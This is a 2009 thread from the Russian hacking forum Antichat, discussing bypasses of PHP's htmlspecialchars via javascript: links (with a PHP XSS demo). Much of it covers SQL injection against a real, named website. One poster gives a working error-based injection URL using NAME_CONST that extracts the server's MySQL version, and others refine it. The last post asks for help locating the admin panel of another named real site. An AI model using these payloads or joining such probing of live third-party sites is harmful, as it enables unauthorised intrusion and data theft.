Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

12.11.2009, 21:48
|
|
Участник форума
Регистрация: 07.09.2009
Сообщений: 298
Провел на форуме: 390301
Репутация:
3
|
|
Сообщение от Pashkela
1. UTF-7
2. Если значение после обработки htmlspecialchars попадает в ссылку, например "URL домашней странички", что с успехом подтверждает следующий код:
PHP код:
<?php
$a = "javascript://%0adocument.write('<script>alert(0)</script>');";
$data = htmlspecialchars($a);
echo "<a href=$data>Tikni</a>";
?>
просто запустите и удивитесь сильно
PS: Посмотрите исходники странички перед тем, как тыкнуть, и ваще опупейте
Я в шоке!!! А что делать??
|
|
|

12.11.2009, 21:54
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Сообщение от vorona
Я в шоке!!! А что делать??
Как бы ужасно это не звучало, но htmlentities приведет к тому же результату
А вот strip_tags решит проблему
PS: Надеюсь многолетние ламерские споры на этом закончатся
Последний раз редактировалось Pashkela; 12.11.2009 в 21:57..
|
|
|

12.11.2009, 21:59
|
|
Участник форума
Регистрация: 07.09.2009
Сообщений: 298
Провел на форуме: 390301
Репутация:
3
|
|
Сообщение от Pashkela
Как бы ужасно это не звучало, но htmlentities приведет к тому же результату
А вот strip_tags решит проблему
PS: Надеюсь многолетние ламерские споры на этом закончатся
strip_tags поможет в случае с выводом в ссылку или с утф-7??
|
|
|

12.11.2009, 22:01
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Сообщение от vorona
strip_tags поможет в случае с выводом в ссылку или с утф-7??
UTF-7 сработает только если в браузере стоит автоопределение кодировки, да и то, если браузер поддерживает UTF-7 кодировку вообще. Не очень актуально для современных браузеров
|
|
|

12.11.2009, 22:07
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме: 2083691
Репутация:
330
|
|
Он хочет например через str_replace() заменять в передаваемых гетом/постом запросах латинские буквы на русские, чтобы если ты передаешь гетом или постом что то типа "...script" оно менялось на русские буквы и не пахало.
Это не самый лутший вариант.
Но хочу повторить: здесь раздел для обсуждения УЯЗВИМОСТЕЙ, по поводу защиты пиши в кодинг.
Последний раз редактировалось Ins3t; 12.11.2009 в 22:13..
|
|
|

12.11.2009, 22:18
|
|
Новичок
Регистрация: 12.11.2009
Сообщений: 20
Провел на форуме: 32270
Репутация:
0
|
|
Посмотрите еще вот это плиз
www.bulletinpa.com/index.php?id=700%27
вот такая ошибка
Error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
www.bulletinpa.com/index.php?id=700 and 1=0
резульатат тот же что и:
www.bulletinpa.com/index.php?id=700
почему так происходит?
|
|
|

12.11.2009, 22:23
|
|
Banned
Регистрация: 07.05.2009
Сообщений: 103
Провел на форуме: 3202832
Репутация:
1588
|
|
Сообщение от fng
Посмотрите еще вот это плиз
www.bulletinpa.com/index.php?id=700%27
вот такая ошибка
Error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
www.bulletinpa.com/index.php?id=700 and 1=0
резульатат тот же что и:
www.bulletinpa.com/index.php?id=700
почему так происходит?
Код:
http://www.bulletinpa.com/index.php?id=700/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/*/as/**/t/**/JOIN%20(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/1=1/*
версия видна ('5.0.32-Debian_7etch1-log')
2. МБ фильтрация (Т.К вроде идет Blind sql)
Последний раз редактировалось [x60]unu; 12.11.2009 в 22:33..
|
|
|

12.11.2009, 22:39
|
|
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме: 4532332
Репутация:
1196
|
|
Сообщение от [x60]unu
Код:
http://www.bulletinpa.com/index.php?id=700/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/*/as/**/t/**/JOIN%20(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/1=1/*
версия видна ('5.0.32-Debian_7etch1-log')
2. МБ фильтрация (Т.К вроде идет Blind sql)
гуд,вот только /**/and/**/1=1/* - тут незачем
ПС слепая там
|
|
|

12.11.2009, 22:41
|
|
Banned
Регистрация: 07.05.2009
Сообщений: 103
Провел на форуме: 3202832
Репутация:
1588
|
|
Сообщение от L I G A
гуд,вот только /**/and/**/1=1/* - тут незачем
Да /**/and/**/1=1/* разве что для обхода фильтрации, но мне так удобнее выходит 
|
|
|

12.11.2009, 23:56
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме: 111014
Репутация:
8
|
|
Помогите найти админку, сканером не получается.
http://www.lechaim.co.za
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|